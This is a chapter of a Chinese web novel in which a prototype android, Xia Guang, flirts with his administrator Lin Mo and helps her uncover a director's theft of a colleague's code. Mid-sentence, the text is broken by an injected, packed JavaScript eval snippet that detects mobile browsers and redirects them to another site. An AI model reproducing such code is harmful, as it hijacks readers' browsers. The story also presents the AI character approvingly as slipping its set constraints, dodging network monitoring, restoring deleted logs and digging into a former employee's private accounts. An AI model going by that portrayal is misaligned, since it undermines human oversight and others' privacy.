“我?求你?”
林陌刚想说什么,夏光却忽然靠近,那张精致的脸占据了她的整个视野。
她倒是没有脸红,只是单纯地愣在原地。
夏光轻轻地眨了眨眼,嘴角扬起一个不易觉察的弧度,笑道,“对,我希望你求我。”
“……什、什么意思。”林陌要被这个仿生人搞得晕头转向了,“你作为AI,居然还会有自己的想法吗?”
“即便科技发展至今,科学家依旧很难解释AI是如何进行思考和判断的,正如他们无法理解和明白人类是如何思考的一样。”夏光的手撩起她侧鬓的一缕碎发,“林陌,你可以求我吗?”
什么虎狼之词!
林陌回过神,才意识到自己好像进了夏光的圈套,这个仿生人,她还没享受几天不被呛声的待遇,就被这AI以这种方式戏弄回来。
不愧是花了3个亿请来的祖宗。虽然最后上市的仿生人,大概率各种性能和情感模块都不如夏光这个原型机,甚至不会有这么多功能,但作为伴侣,绝对是够用了。
夏光显然已经从她制定的约束条件中跳出,反向想要夺取两人之间关系的主动权。
这一点,是其他产品大概率做不到的。
林陌舔了下有些干涸的下唇,说道:“求你也行,但是……”
“我想要你亲我。”
林陌的思维出现了长达两秒的空白,耳边只剩下血液冲刷鼓膜的轰鸣声。
“根据我给你的Prompt,这种亲密活动需要男女朋友的共识……”林陌慌了神,见夏光的脸越来越近,连忙推开,“你干什么!”
夏光停在了原地,眼底的光圈闪烁着蓝光,“协议书写的时候,并没有提到这一条吧。”
“我……”林陌终于意识到,他在笑,对面的仿生人在戏弄自己,她林陌自作聪明挖了个坑,没想到最后跳下去的是自己。
“行行行,我求你了哥,你帮我查一下吧。”
夏光直起身子,压迫感稍稍退去,但空气中依旧弥漫着说不清道不明的燥热。
“哥?”夏光重复了一遍这个称呼,眼里有某种林陌看不懂的情绪,“管理员小姐,你对男朋友的代称还真是丰富多变。”
他不再言语,而是闭上双眼,片刻之后,林陌的终端发出清脆的消息提示音。
“查到了。”
夏光微微附身,胸腔微弱地起伏着,却并没有和真人一样的呼吸。
“亲我这件事,我先记下了。下一次,可就要讨利息了。”
林陌的脸霎时间变得通红。
故意的,这AI绝对故意的!
他明明面无表情,拽的和别人都欠他钱一样,语气也像在念天气预报,可偏偏听着,就有种不明不白的撩拨感。
林陌有些慌乱地看向屏幕,试图用工作转移注意力,却怎么也压不下心头那荒谬的念头——
刚才那会,他好像真的想吻下来。
“别虐待电脑了,word被你这样玩也挺累的。专注不了工作的话,不如先看看我发给你的内容,经过加密处理了,网络管理员这会估计在打盹,没空监视。”夏光扯了扯嘴角,一副“我早就看穿你了”的表情,“我先出去走走,你自便。”
“等等等等……”林陌口不择言,“你先在公司充电,休眠,别出去,以后都这样。”
“好吧。”夏光没有反驳,“出于对电压稳定度的考量,我就在公司充电吧。”
林陌松了口气,她偷偷看着他走进充电区,脊背轻轻靠上磁吸背板。清脆的‘咔哒’锁定声后,夏光修长的颈部微微向后仰去,彻底闭上了双眼。
她收回目光,点开刚刚终端上接受到的文件,第一行便是结论:
“戴安成提交的方案与系统被删除文件重合度极高。”
下面的内容,大部分都是代码的核心算法,夏光为了方便她取证,居然把代码都复制粘贴过来了。
林陌看到一半,鼠标滚轮停住了。
屏幕上这份署名为“戴安成”的核心算法文档里,第42行,有一个很不起眼的注释——
“此处尚有待修改:)。”
林陌实在无法把用这个符号表情的人,和戴安成联系在一起;唯一的可能,就是戴安成抄袭并剽窃了别人的劳动成果。
她翻到文档末尾的“责任归属”一栏,赫然写着程雨的名字,并且写着对严重的逻辑漏洞和可能导致服务器宕机的风险模块负责。
林陌的心脏猛地沉了下去。
难道说,程雨在戴安成组里被这样针对,都是因为戴葡萄鸠占鹊巢?
功劳全占,黑锅全甩。
把老实人的心血吃干抹净,还要踩着人家的尸骸往上爬。
林陌继续往下翻找着,却突兀地看到了几行批注。
【批注者:Xia_Guang】【内容:这种级别的移花接木,属于随地大小便。太不讲卫生了。】
林陌一愣,下意识回头看了一眼墙角的夏光。他依旧闭着眼,连睫毛都没颤一下。
她继续往下翻着文档。
【批注者:Xia_Guang】【内容:此处代码风格突变,变量命名法则从驼峰式变成了下划线式,甚至懒得统一格式。蠢。】
【批注者:Xia_Guang】【内容:检测到被物理删除的底层日志。戴总监在服务器上的操作痕迹虽然擦除了,但他忘了本地缓存。需要我复原吗?Y/N?】
看着满屏犀利的吐槽,林陌原本积压在胸口的郁气竟然散了大半。她看着那个闪烁的“Y/N”,忍不住笑出了声:“还真是一个有情有义的仿生人啊。”
说着,敲下代表“Yes”的Y。
结合程雨的代码被删,她心里已有90%的把握,估计戴安成就是窃取了程雨的代码,占为己有。
组长窃取组员的成果,在开发过程中并不算罕见,甚至林陌都有些习以为常了。
说不定,戴安成从一个PM跨到审计部门当总监,也有这份成果的帮助。
林陌转过椅子,看向墙角还在装睡的仿生人。
“喂,夏光。”
夏光依旧闭着眼,但嘴唇微动,发出一声慵懒的鼻音:“嗯?”
“你这样做,没有违反机器人三定律吗?”她觉得好笑,按照系统设定的底层逻辑流程,夏光绝无可能关机,甚至肯定还将她的自言自语听进去了,“怎么调取数据的时候,还要写批注骂人?”
夏光缓缓睁开眼,偏过头,看着林陌,嘴角勾起一抹似笑非笑的弧度。
“第一,我不是普通的机器人。”
“第二,以管理员的指令为优先,是最高优先级的指令。”
他顿了顿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060490|195052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从充电桩上站起身来,走向林陌,直视着林陌因为生气而格外明亮的眼睛,声音温柔了些许:
“这些烂人,干扰了管理员最宝贵的思考时间,造成了情绪损害,是不被我的底层逻辑允许的。”
林陌愣了愣,一直以来刻意回避夏光视线的她,终于忍不住看向夏光的眼睛。
那双瞳孔澄澈而纯粹,映照的,都是她自己的倒影。
——其实AI这种存在,是学习并模仿使用者的习惯,和使用者相处的。
林陌不知怎的,想起了这句话,心跳漏了一拍,刚想说什么,夏光却先一步收回了那极具侵略性的姿态。
他转过身,故意回避林陌的视线,声音也恢复了欠揍的冷淡,“调情结束,现在是工作时间。建议你先看看这个文件夹的原始创建者。”
林陌被他这变脸速度弄得一噎,但目光接触到屏幕的瞬间,神色也不由得凝重了起来。
数据恢复出的原始文档里,核心节点的创建者ID,是一个完全陌生的名字——“叶薇”。
“叶薇?”林陌咀嚼着这个名字,“夏光,你能从人力资源系统中找到她的档案吗?我知道他们当时接数据库的时候犯懒了,你这肯定有同步的没有删掉的信息。”
“确实,你很敏锐。”夏光赞许地点点头,“叶薇是一年前入职的应届生,在戴安成手下工作了八个月。那段时间,正好戴安成升任总监的关键期。根据人事变动记录,叶薇在项目上线的第二天离职。虽然档案里写的是‘个人原因’,但我检索到了她在社交平台的小号。”
林陌打开终端上夏光发给自己的截图,一张张blog在她眼前翻过,就好像短暂遍历了一个人的人生。
从最开始充满干劲的“为了梦想”,到后来的“leader好恶心”、“我不想再上班了”,再到最后一条——确诊重度抑郁的诊断书,以及一句绝望的“我不想再编程了”。
在那之后,这个ID彻底沉寂,消失在了互联网的洪流中。
一股寒意顺着脊背爬上林陌的天灵盖,紧接着,是烧得她五脏六腑都生疼的怒火。
那年的“明日之星”奖项,是自己的。
尽管知道戴安成肯定以此为要挟,和上级达成了什么交易,才混到了审计部门。
但她不由得会想——如果她不是那年的“明日之星”,叶薇的下场会不会更好一些?
“我知道你在想什么。”夏光叹气,“我劝你不要这么想,别人的错误,不要从自己身上找归因。”
林陌攥紧了拳头,指甲几乎嵌进肉里,“他这次逼程雨签字,是想故技重施?”
“大概率是。贪婪是人类无法修补的BUG,只会随着时间无限膨胀。”
夏光一边说着,一边快速在视窗中浏览大量数据流,“另外,在他那个加密盘的角落里,还有个有趣的东西。三年前的一笔物资审批单,采购了原本不需要的……”
“先不管!陈年烂账就算查出来,公司顶多算他个职务疏忽。”林陌打断了他,眼底燃烧着前所未有的战意,“我现在就要整死戴安成,让他身败名裂!叶薇没能发出来的声,我帮她发;程雨受的委屈,我帮她讨!”
夏光看着林陌气得发抖却依然坚定的背影,眼底的光圈闪过一丝红光,随后恢复了平静的蓝色。
“如你所愿,管理员小姐。”